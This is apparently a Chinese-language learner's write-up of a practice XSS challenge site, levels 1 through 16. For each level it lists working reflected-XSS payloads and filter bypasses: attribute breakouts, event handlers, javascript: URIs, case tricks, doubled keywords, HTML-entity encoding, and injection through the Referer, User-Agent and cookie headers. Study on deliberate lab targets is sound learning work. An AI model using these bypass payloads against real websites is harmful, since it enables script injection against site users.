0%

xss学习做题wp

xss,没学过,不会做,找点题来练练手
闯关网址http://test.xss.tv

上网看到有个测试神句<script " 'Oonn>但是我还不怎么会用

level1

经典代码
<script>alert()</script>

level2

用用那个什么<script " 'Oonn>神句看看
搜索框里只出现了<script 猜测可以用双引号绕过
闭合绕过
"><script>alert()</script><

level3

输入<script " 'Oonn>
搜索框里只出现了<script " 猜测可以用单引号绕过
'> <script>alert()</script> <'
左边一个>闭合,右边一个<和末端的>闭合
什么单引号也不行?!右键源代码一探究竟
看到value='&lt;script &quot; 'Oonn&gt;'
OMG原来大于小于被转义了!好悲伤的一道题
浅浅网上随便找个不用大于小于的
'onmouseover='alert()然后点击搜索

level4

输入<script " 'Oonn>搜索框里只剩script
源代码value="script " 'Oonn"
卡在双引号,大于小于不能用因为被过滤了
那不和上一题一样只是单引变双引嘛
"onmouseover="alert()

level5

输入<script " 'Oonn>搜索框里变成<scr_ipt
源代码value="<scr_ipt " 'oo_nn>"介个似协模意思捏。。
首先哈,大于小于没被转义也没被过滤,然后哈,应该是双引号闭合
"><script>alert()</script><"源代码是value=""><scr_ipt>alert()</script><""
"onmouseover="alert()源代码是value=""o_nmouseover="alert()"
但是试了<a href="javascript:alert()">可以发现是可行的
构建,先双引号"然后>和左边闭合,然后<a href="javascript:alert()"><和右边闭合
"><a href="javascript:alert()"><铛铛出炉

先做到这,明天继续

2023.7

虽然当时打算继续做下去。。但是我一学期后才回来(阿这

level6

大小写绕过
"><a Href="javaScript:alert()"><

level7

把上一个输进去发现用了小写转化
试了一下发现还会检测on``script``herf然后删掉,双拼写绕过
"><a hrhrefef="javascrscriptipt:alert()"><

level8

小写转化、过滤了script,href什么的、双引号被编码
看了一下会把输入的填进href,搞个&#十进制ASCII
&#106;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;
或者&#十六进制ASCII&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0078;&#x0073;&#x0073;&#x0027;&#x0029;

level9

双引号,尖括号,还说我链接不合法
浅试了个http://,可以
试了一下发现payload里只要有http://就可以,不管怎么放,估计是匹配了http://
把上一题的尾巴后面注释个//http://
&#106;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;//http://

level10

没框,可能是用图片
看看源码

1
2
3
<input name="t_link"  value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">

有三个隐藏的框,F12把hidden删了,试个&t_link=1&t_history=2&t_sort=3,发现t_sort框里有回显

&t_sort=" onclick='javascript:alert(1)'>再把hidden删了

AND还有可以直接改类型,不用一次次删hidden
&t_sort=" type='text' onclick='javascript:alert(1)'>

level11

看看源码,四个框框
t_link=" type='text'>&t_history=" type='text'>&t_sort=" type='text'>&t_ref=" type='text'
没反应
再看一眼源码,双引号被转义了
然后t_ref的值
<input name="t_ref" value="https://xss.tesla-space.com/level10.php?keyword=&t_sort=%22%20onclick=%27javascript:alert(1)%27%3E" type="hidden">
然后hackbar可以看到referer的值就是变成了https://xss.tesla-space.com/level10.php?keyword=&t_sort=%22%20onclick=%27javascript:alert(1)%27%3E
遂改之" type='text' onclick='javascript:alert(1)'>

level12

还是没有框框,看看源码
有个t_ua,改个User-Agent头看看
拒绝访问
不改,直接在后面加payload

level13

看源码,t_cook,改个cookie看看
user=" type='text' onclick='javascript:alert(1)'>

level14

<iframe name="leftframe" marginwidth=10 marginheight=10 src="https://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe>
https://www.exifviewer.org/打不开
不知道要干嘛就是

level15

<body><span class="ng-include:1.gif"></span></body>
ng-include指令
尖括号被转义
html包一下%27https://xss.tesla-space.com/level1.php?name=<img src=asd onerror=alert(1)>%27

level16

过滤了斜杠,空格,Script啥的
btw本题配图好眼熟,看到它我就想起了我电脑重置后失踪的steam和不知为何明明是在steam上下的,却离奇留下的portal(显然只留了个壳打不开)
找找不用斜杠/Script的payload,然后空格编码%0a
4.2.10. Payload — Web安全学习笔记 1.0 文档
<img%0asrc=1%0aonerror=alert(1)>

level17-20

啥啊该插件不受支持,我再研究研究